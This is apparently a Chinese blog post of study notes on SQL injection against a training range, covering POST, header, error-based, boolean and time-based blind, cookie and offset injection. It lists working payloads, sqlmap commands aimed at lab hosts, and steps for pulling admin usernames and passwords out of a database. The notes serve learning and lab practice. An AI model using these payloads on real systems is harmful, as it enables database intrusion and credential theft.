网络安全-post注入、head注入、盲注、宽字节注入、cookie注入拿到后台管理员账号和密码、偏移注入

免责声明:本博客内所有工具/链接
请勿用于未授权的违法攻击!!
用户滥用造成的一切后果自负!!
使用者请务必遵守当地法律!!

1、POST注入属于注入的一种,POST注入就是使用POST进行传参的注入,本质上和GET类型的没什么区别,POST注入高危点: 登录框 查询框 等各种和数据库有交互的框

2、万能密码:'or 1=1#

3、Sqlmap如何对POST类型SQL注入进行注入:python sqlmap.py -u http://pu2lh35s.ia.aqlab.cn --form

4、User_agent(UA):Mozilla/5.0 (Linux; U; Android 8.1.0; zh-cn; BLA-AL00 Build/HUAWEIBLA-AL00) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.132 MQQBrowser/8.9 Mobile Safari/537.36

5、get注入和post注入的区别:GET 和 POST传参的区别:数据本身(编码问题 URL编码) %xx URL编码

' or 1=1 order by 1 -- qwe

' or 1=1 union select 1,2,3 limit 1,1 -- qwe

select *from user where username =  or 1=1 order by 1 

select *from user where username ='' or 1=1 order by 1 

select *from user where username ='' and 1=2
union
select 1,2,3 limit 1,1 -- qwe

") and 1=2 union select 1,2,3 -- qwe

6、使用sqlmap进行post注入:python sqlmap.py -u http://pu2lh35s.ia.aqlab.cn/ -r 指定数据包 

数据包内容如下:

POST /Pass-09/index.php HTTP/1.1
Host: inject2b.lab.aqlab.cn
Content-Length: 56
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://inject2b.lab.aqlab.cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://inject2b.lab.aqlab.cn/Pass-09/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
x-forwarded-for: 1*
Connection: close

username=admin&password=123456&submit=%E7%99%BB%E5%BD%95

 7、闭合 ' " ') ")

8、HEAD注入 => head传参

9、select updatexml(目标xml内容,xml文档路径,更新的内容),路径不能出现特殊字符 ~ !#,

10、拼接字符串注入:select updatexml(1,concat('!',(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1),报错的结果一定是个字符串

11、常见的用户名:admin、user、root、test、a、ceshi、jishu、system

12、源码构造:INSERT INTO uagent (`uagent`,`username`) VALUES ('$uagent','$uname')

UA传参:Request Headers:User-Agent,Value:' or sleep(10),1) -- qwe

语句解析传参:INSERT INTO uagent (`uagent`,`username`) VALUES ('' or updatexml(1,concat('!',database()),1),1) -- qwe

请求头:X-FORWORDED-FOR,值:127.0.0.1

X-Forwarded-For(XFF)是用来识别通过HTTP代理负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。 Squid 缓存代理服务器的开发人员最早引入了这一HTTP头字段,并由IETF在HTTP头字段标准化草案中正式提出。当今多数缓存服务器的用户为大型ISP,为了通过缓存的方式来降低他们的外部带宽,他们常常通过鼓励或强制用户使用代理服务器来接入互联网。有些情况下,这些代理服务器是透明代理,用户甚至不知道自己正在使用代理上网。如果没有XFF或者另外一种相似的技术,所有通过代理服务器的连接只会显示代理服务器的IP地址,而非连接发起的原始IP地址,这样的代理服务器实际上充当了匿名服务提供者的角色,如果连接的原始IP地址不可得,恶意访问的检测与预防的难度将大大增加。XFF的有效性依赖于代理服务器提供的连接原始IP地址的真实性,因此,XFF的有效使用应该保证代理服务器是可信的,比如可以通过创建可信服务器白名单的方式。

13、\ 转译  (将代码变成字符串):select *from user where username ='\' and password=' admin'

14、超全局变量:PHP 中的许多预定义变量都是“超全局的”,这意味着它们在一个脚本的全部作用域中都可用。 这些超全局变量是: $_REQUEST (获取GET/POST/COOKIE) COOKIE在新版本已经无法获取了 $_POST (获取POST传参) $_GET (获取GET的传参) $_COOKIE (获取COOKIE的值) $_SERVER (包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组),$_SERVER['HTTP_REFERER'] 获取Referer请求头数据,

$_SERVER["HTTP_USER_AGENT"] 获取用户相关信息,包括用户浏览器、操作系统等信息。$_SERVER["REMOTE_ADDR"] 浏览网页的用户ip。

15、盲注:有时目标存在注入,但在页面上没有任何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注。

16、布尔盲注:布尔很明显Ture跟Fales,也就是说它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错信息,时间盲注:界面返回值只有一种,true无论输入任何值返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确

17、盲注函数解析:limit 0,1 显示第一条,substr(内容,1,1) 显示第一个字符

length() 函数 返回字符串的长度 ?id=1 and length(database())>1

substr() 截取字符串 , 从第一位截取一个 ?id=1 and substr(database(),1,1)='k'

ord()/ascii() 返回字符的ascii码 ?id=1 and ord(substr(database(),1,1))=107

延时注入:if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句 ?id=1' and If(length(database())=8,1,sleep(5))-- +

第一位显示的是我们的条件
第二位是我们的条件成立后所执行的结果
第三位是我们条件不成立所执行的结果

and if(ascii(substr(database(),1,1))>120,0,sleep(10)) --+

延时盲注其实和布尔盲注其实没有什么太大的区别,只不过是一个依靠页面是否正常判断,一个是否延时判断,在操作上其实也差不多,只不过延时多一个if()

18、ascii表:http://c.biancheng.net/c/ascii/

19、爆库流程:https://xxx.cn/?id=1 and ascii(substr(database(),1,1))>1

https://xxx.cn/?id=1 and ascii(substr(database(),2,1))=97

猜解当前数据库名称长度:and (length(database()))>9#

猜解当前数据库名称:and (ascii(substr(database(),1,1)))=107 返回正常,说明数据库名称第一位是k

and substr(database(),1,1)='k' 返回正常,说明数据库名称第二位是k

打开burp suite并抓到啦当前的包:

 发送到爆破模块:

 第1位跑到第12位:

 20、猜表名:and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 返回正常,说明当前数据库第一个表长度是6

and substr((select table_name from information_schema.tables where table_schema='kanwolongxia ' limit 0,1),1,1)='l' 返回正常,说明数据库表名的第一个的第一位是l

猜字段名:and substr((select column_name from information_schema.columns where table_name='loflag' limit 0,1),1,1)='i' 返回正常,说明loflag表中的列名称第一位是i

猜内容:and (ascii(substr(( select flaglo from loflag limit 0,1),1,1)))=122返回正常,说明zKaQ列第一位是z

21、cookie注入源码样例:

 f12里面的console输入document.cookie="a="+escape("abc"),Cookie传参值需要URL编码

 Cookie就是代表你身份的一串字符串,网站根据Cookie来识别你是谁,如果你获取了管理员的Cookie,你可以无需密码直接登陆管理员账号。在动态脚本语言中存在超全局变量可以获取多种传参方式(基本上) 很多时候开发在开发的时候为了考虑到多种接受参数,在接受参数的时候都是用多种解释传参的方法 例如: php中的$_REQUEST[] 可以获取POST|GET|COOKIE传参 注:php 5.4以上版本就不会接受Cookie传参了。在线URL编码地址:http://tool.chinaz.com/Tools/urlencode.aspx

22、实战靶场:http://g8wepfcp.ia.aqlab.cn/shownews.asp?id=171

附企业网站管理系统:http://g8wepfcp.ia.aqlab.cn/admin/Login.asp

23、exists检测表名:Cookie注入的时候一定要把GET类型的传参删除,不然优先执行GET类型传参。and exists (select*from 表名),如果页面正常,就是存在这个表 exists 这个函数就是检查子查询能否查询到数据,如果能会返回一个True,document.cookie="id="+escape("171 and exists (select * from admin)")

 24、burp suite爆破表

 25、cookie注入拿到后台管理员账号和密码:

判断是否存在注入 and 1=2 and 1=1

exists函数去判断
判断表名,将zzzz位置进行跑包exists (select * from zzzz) admin
判断admin表中的具体数据,将select后面的列进行跑包 exists (select password from user) id, username,password
判断字段数order by 10正常11异常,说明存在10个字段
判断他的显错位union select 1,2,3,4,5,6,7,8,9,10 from admin 判断得出显错位为2,3,7,8,9这么些位置
171 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin 得出账号密码,登录后台,对密码解密(md5解密地址:https://www.somd5.com/),然后拿到flag

26、SQLmap如何跑Cookie注入:sqlmap.py -u "http://59.63.200.79:8004/shownews.asp" --cookie "id=171" --level 2

27、偏移注入:select admin.* from admin = select username,password from admin => admin.*==username,password==admin表中的所有字段

select * from news where id = 1 union select 1,2,3,admin.*,7,8,9,10 (假设news表中有10个字段,并且6这个位置是显错位,admin表假设拥有3个字段
分别是id,username,password)

偏移注入要注入表的字段数,小于当前页面的字段数:select 1,2,3,4,admin.*,8,9,10  =>select 1,2,3,4,id,username,password,8,9,10 

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin (判断出当前回显点为3,5,7)

document.cookie="id="+escape("171 and 1=2 union select top 5 1,title,3,4,5,6,7,8,9,10 from news order by 2 desc")

在SQL注入的时候会遇到一些无法查询列名的问题,比如系统自带数据库的权限不够而无法访问系统自带库。 当猜到表名无法猜到字段名的情况下,可以使用偏移注入来查询那张表里面的数据。 像Sqlmap之类的工具实际上是爆破字段的名字,但是如果字段名称比较奇葩,例如:H5scker_Passwd 之类的那就无可奈何了

28、

posted @ 2023-08-30 22:24  干it的小张  阅读(130)  评论(0编辑  收藏  举报